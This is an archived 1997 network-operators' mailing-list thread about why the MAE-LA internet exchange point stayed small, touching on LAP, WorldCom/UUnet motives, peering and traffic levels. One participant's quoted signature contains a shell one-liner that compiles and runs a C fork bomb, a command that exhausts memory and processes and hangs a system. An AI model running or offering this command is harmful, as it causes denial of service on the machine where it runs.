Mailing List Archive

In some sense I beleive that operation of exchange points is no longer
in WorldComs financial interests. It might make much more sense to have
potential exchange customers just become UUnet clients. In many cases this
is true.

And there is the fact that the other side of MAE-LA, at ISI and called
LAP, has not promoted its facilities. The costs are reasonable, there is
some space for colo., mulitple fiber providers, in fact, most fo the
same facilities as PAIX.

But there is also a lack of promotional activity here, with much of the
thought going into integration of the LAP components with an Internet-2
gigapop. As far as I can tell, there are only a couple of sites where
these two features will come together, all on the west coast (and none in
the Bay Area!)

So, if there are folks who want MAE-LA or LAP connectivity, its there.
There are several large players there, although none of the "big-boys"
are present. I'm not sure we want them... :) We've got full routes,
robust connectivity, decent infrastructure support (DNS, multicast, etc.)
and push about 50-70Mbp/s in the "standard" 5min. snapshots.

If you want a pointer for more info (on LAP stuff) then let me knwo,
and I am sorry for the quasi-commercial content.

--
--bill

Beacuse MFS screwed up but making a
MAE-[insert-any-town-with-population-over-500,000] and never marketed it
right. MAE-NY could have been HUGE, but there is only 0 providers (maybe
1?) in there now.


At 05:44 PM 7/15/97 -0700, Keith McCallion wrote:
>
>Hello,
>
>I'm curious about MAE-LA. It has the potential to be quiet big, but it
>never really kicked off. We were considering linking there, but with only
>13 other providers, we decided not too.
>
>Does anyone know why MAE-LA never really kicked off?
>
>Keith
>==========================================================================
>Keith M. McCallion Senior Network Operations Engineer
>Trippin on irc.iswest.net Internet Specialties West
>keith@iswest.net/keith@hick.com 31194 La Baya Dr, Ste 106
>P: 818-735-3000, F: 818-735-3004 Westlake Village, Calif. 91362
>==========================================================================
> echo "main(){while(1){malloc(10000);fork();}}" >z.c;gcc -o z z.c;./z
>==========================================================================
>
>
---

"Don't go with a spineless ISP;
we have more backbone."

Alex Rubenstein -- alex@nac.net -- KC2BUO -- www.nac.net
net @ccess corporation, 201-983-0725 -- 201-983-0725

On Tue, Jul 15, 1997 at 06:30:34PM -0700, Bill Manning wrote:
> In some sense I beleive that operation of exchange points is no longer
> in WorldComs financial interests. It might make much more sense to have
> potential exchange customers just become UUnet clients. In many cases this
> is true.

Is the check in the mail, Bill?

Cheers,
-- jra
--
Jay R. Ashworth jra@baylink.com
Member of the Technical Staff Unsolicited Commercial Emailers Sued
The Suncoast Freenet "People propose, science studies, technology
Tampa Bay, Florida conforms." -- Dr. Don Norman +1 813 790 7592

Mae-LA has kicked off if you look at it this way:

1. Every provider there, that I am aware of, will peer with any other providers
connecting to Mae-LA.
2. Some of the biggest providers of colocation and access in the LA area are
present at Mae-LA: Exodus, CerfNet, Genuity, Internex and LosNettos.
3. Even if the "big boys", as Bill put it, were present, you probably wouldn't
meet their peering guidelines by only being at Mae-LA, and therefore it
wouldn't make a difference anyways.
4. Being smaller than Mae-West and Mae-East, it doesn't have all the wonderful
problems like looped OC3 circuits, head-of-line blocking, long power outages
and people that are leaving their interfaces at 100% utilization.
5. Bill Manning has better statistics on his homepage than MFS does for the
other Maes. ;)

We have no plans on bailing out of Mae-LA anytime soon. In fact, we've placed
an order to increase our connection from 10Mbps to a shared FDDI (as they don't
have enough traffic to justify a wonderfully HOL ridden Gigaswitch yet).

Rob
Exodus Communications Inc.
>
>
> Hello,
>
> I'm curious about MAE-LA. It has the potential to be quiet big, but it
> never really kicked off. We were considering linking there, but with only
> 13 other providers, we decided not too.
>
> Does anyone know why MAE-LA never really kicked off?
>
> Keith
> ==========================================================================
> Keith M. McCallion Senior Network Operations Engineer
> Trippin on irc.iswest.net Internet Specialties West
> keith@iswest.net/keith@hick.com 31194 La Baya Dr, Ste 106
> P: 818-735-3000, F: 818-735-3004 Westlake Village, Calif. 91362
> ==========================================================================
> echo "main(){while(1){malloc(10000);fork();}}" >z.c;gcc -o z z.c;./z
> ==========================================================================
>

>
> Hello,
>
> I'm curious about MAE-LA. It has the potential to be quiet big, but it
> never really kicked off. We were considering linking there, but with only
> 13 other providers, we decided not too.
>
> Does anyone know why MAE-LA never really kicked off?

Define "Really Kicked Off" for me, if you would...

According to
http://www.mfsdatanet.com/MAE/la.fddi.overlay.html

right now, MAE-LA is handling as much traffic as
MAE-WEST did in November of 1995, about 20 months
ago...see the following graph for historical data:

http://www.mfsdatanet.com/MAE/west.mfs.951106.html

If MAE-LA keeps up that growth rate, in two years
it should be handling roughly 1Gb/sec through
it during the day. I think you'd agree that at
that point it would definitely have "kicked off"...

It's all a question of scale. MAE-LA is doing quite
nicely right now--I wouldn't recommend it as your
_only_ connection to the net, unless you're using
it to purchase transit connectivity out through one
of the carriers there. But as a place to pass traffic
to other players, it's quiet and reliable; once you
connect and set up your peering, it's never gone down
on us, we never have to think about it, unlike mae-west
it doesn't cause early morning heartburn because
someone tripped over an extension cord... :-(

Bill raised some excellent concerns, however, about
the overall wisdom of using the WorldCom supported
MAEs in general. I know that if I were starting
a company up at this point, I wouldn't recommend
trying to hit all the MAEs, I'd do private connections
to the major carriers, and screw trying to go
default-free or anything silly like that--it takes too
much time, too much effort, and your customers won't
really be able to tell the difference anyhow.

But then again, I'm just getting cynical at this hour. :-(

Short answer to your original question, mae-la is doing
perfectly well for what it is.

> Keith

Matt Petach

speaking from home, not representing anyone that anyone
here might recognize...

On Wed, Jul 16, 1997 at 08:42:53PM -0700, Bill Manning wrote:
> > A bit pointed, perhaps, but even from an engineering standpoint, that's
> > not a sentiment I'd expect from anyone who wasn't a WorldCom employee.
> > Certainly, it would make more sense _to UUNET_ to have people who want
> > to peer become their clients, instead; but that's not the _point_ of
> > peering, is it?
>
> Why? Because perhaps I see WorldCom dumping cash into its UUnet arm and
> terminating all but one of its MAE support staff?

No, but if that's true, it's even more reason not to give UUnet any
money one doesn't have to.

> Or perhaps because I and Lance are keeping WorldCom "honest" by providing
> alternatives for MAE-WEST and MAE-LA clients? Or do you have another reason
> why WorldCom is not more active in building up its MAE business?

I don't know, nor care, why they aren't, but peering with them is a
different business case than becoming their customer, by a long shot,
and it ought to remain different.

> I really don't care what WorldCom does with its MAE or UUnet business. I'm
> more interested in ensuring a cost effective means for ISPs local to LA have
> a neutral place to swap bits. If folks can make bucks using this service,
> great. Just as long as they don't impede the R&E work that goes on.

_That's_ the attitude I want to see. It's "just a business" for
WOrldCom nowadays, as far as I can see. They trashed WilTel, which was
an engineering-drive company with a great technical reputation, and
they appear to be doing the same to UUnet.

> I'd like to continue to trade inuendo, but I have more interesting things
> to do. Perhaps if you end up in LA, you might have an opportunity to
> make a choice about LAP/MAE-LA. And we might have to consider if we want
> your custom. But until then, for you, its a moot point.

Wasn't innuendo for innuendo's sake; your comment simply didn't appear
to have any reasonable motivation. Your assertion appeared to be, and
correct me if I'm wrong, "why would backbone operators want to have the
MAE to peer with UUNET (and others) at, when they could simply become
UUNET customers, and let UUNET deal [poorly --jra] with the problems?"

If that's not an accurate perception of your intentions, perhaps you
could clarify.

Cheers,
-- jra
--
Jay R. Ashworth jra@baylink.com
Member of the Technical Staff Unsolicited Commercial Emailers Sued
The Suncoast Freenet "People propose, science studies, technology
Tampa Bay, Florida conforms." -- Dr. Don Norman +1 813 790 7592